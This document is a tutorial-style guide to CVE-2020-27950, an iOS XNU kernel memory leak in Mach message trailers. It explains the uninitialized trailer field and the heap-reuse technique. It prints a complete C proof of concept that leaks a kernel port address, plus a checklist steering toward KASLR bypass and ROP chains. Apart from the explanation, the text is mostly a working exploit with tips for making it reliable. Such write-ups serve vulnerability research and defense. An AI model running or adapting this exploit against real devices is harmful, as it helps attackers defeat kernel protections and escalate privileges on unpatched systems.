CVE-2020-27950: mach_msg Trailer Memory Leak Exploitation
A comprehensive guide to understanding and exploiting CVE-2020-27950, a kernel memory leak vulnerability in iOS XNU's Mach message trailer handling.
Vulnerability Overview
The Core Issue
Every Mach message the kernel receives ends with a "trailer": a variable-length struct containing metadata (sequence numbers, sender token, audit token, context, access control data, labels). The vulnerability stems from:
- The kernel always reserves the largest possible trailer (
MAX_TRAILER_SIZE) in the message buffer - The kernel only initializes some fields of the trailer
- The kernel decides which trailer size to return based on user-controlled receive options
- Certain field initializations are conditionally skipped based on the trailer type requested
This creates a window where uninitialized memory (potentially containing sensitive kernel data) can leak to userland.
Key Structures
typedef struct {
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct {
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad; // ← UNINITIALIZED in certain cases
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
The Vulnerable Code Path
When generating the trailer, only some fields are initialized:
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
trailer->msgh_labels.sender = 0;
// Note: msgh_ad is NOT initialized here
Later, in ipc_kmsg_add_trailer(), the trailer size is calculated and additional fields may be filled:
if (!(option & MACH_RCV_TRAILER_MASK)) {
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0; // ← Only initialized if option >= 7
}
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
The Exploit Condition
The option parameter is user-controlled. The trailer element constants are:
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
The vulnerability: If you pass an option value of 5 or 6:
- It passes the first
ifcheck (bits 24-27 are non-zero) - It does NOT enter the
ifthat initializesmsgh_ad(requires >= 7) msgh_adremains uninitialized, potentially leaking stale kernel memory
Exploitation Technique
Heap Reuse Strategy
The exploit uses a classic heap reuse pattern:
- Send a "big" message with many port descriptors → allocates a
kalloc.1024chunk containing kernel pointers - Receive/discard it with zero buffer → frees the chunk, leaving kernel pointers as stale data
- Send a "small" message → reuses the same size class, but with fewer descriptors
- Receive with invalid trailer option (5) → trailer's
msgh_adfield overlaps with stale pointer data - Adjust message size to control overlap offset and leak different bytes of the pointer
Why This Works
When you send a Mach message with port descriptors:
- Userland:
namefield contains an unsigned int (port name) - Kernel:
namefield becomes anipc_port*pointer - The kernel stores these pointers in the
ipc_kmsg_tstructure - When freed, these pointers remain in the heap chunk as stale data
- When reused with a smaller message, the trailer can overlap this stale data
Complete Exploit Implementation
Kernel Address Leak PoC
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
#define LEAK_PORTS 50
#define MAX_TRAILER_SIZE 128
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // receive port
mach_port_t sent_port; // port whose kernel address we leak
// Create receive right with send right
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
// Create port to leak
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Target port: 0x%x\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
// Prepare big message with 50 port descriptors
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port;
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port;
}
// Prepare small message with fewer descriptors
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer;
uintptr_t sent_port_address = 0;
// ========== LEAK LOW 32 BITS ==========
printf("[*] Sending big message (allocates kalloc.1024 with pointers)\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message (frees chunk, leaves stale pointers)\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// Small message reuses the chunk, +4 shift for overlap
small_message->header.msgh_size = small_size + sizeof(uint32_t);
printf("[*] Sending small message (reuses chunk)\n");
mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Receiving with trailer option 5 (leaks msgh_ad)\n");
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE,
port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
sent_port_address |= (uint32_t)trailer->msgh_ad;
// ========== LEAK HIGH 32 BITS ==========
printf("[*] Sending big message again\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding again\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// +8 total shift for high bytes
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending small message with +8 shift\n");
mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Receiving with trailer option 5\n");
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port 0x%x has kernel address: 0x%lX\n", sent_port, sent_port_address);
return 0;
}
Exploit Development Checklist
When developing exploits for this vulnerability:
Verify the target is vulnerable
- Check iOS version (affected: iOS 13.x through early iOS 14.x)
- Confirm kernel hasn't patched the trailer initialization
Set up the heap state
- Use
kalloc.1024size class (empirically reliable) - Send messages with enough port descriptors to fill the chunk
- Ensure predictable allocation patterns
- Use
Control the overlap
- Adjust
msgh_sizeto shift where the trailer lands - Use +4 byte increments to leak different pointer bytes
- Account for alignment and padding
- Adjust
Handle the leak
- Use trailer option 5 or 6 (invalid but triggers max trailer)
- Parse the trailer correctly (64-bit vs 32-bit variants)
- Combine leaked bytes into full pointers
Use the leaked address
- Calculate kernel base (if KASLR is active)
- Use for further exploitation (ROP, gadget chains, etc.)
Common Pitfalls
| Issue | Solution |
|---|---|
| Leak returns garbage | Verify heap reuse is working; check message sizes |
| Crash on receive | Ensure buffer is large enough for max trailer |
| Inconsistent leaks | Add heap spraying; use more port descriptors |
| Wrong pointer bytes | Adjust msgh_size offset; verify alignment |
References
Related Vulnerabilities
- CVE-2021-30807: IOMobileFrameBuffer OOB
- Other mach_msg trailer vulnerabilities in XNU
- iOS kernel heap exploitation techniques
Testing Notes
- This exploit requires a vulnerable iOS device or simulator
- Root access may be needed to verify kernel addresses
- Modern iOS versions have patched this vulnerability
- Use in educational/research contexts only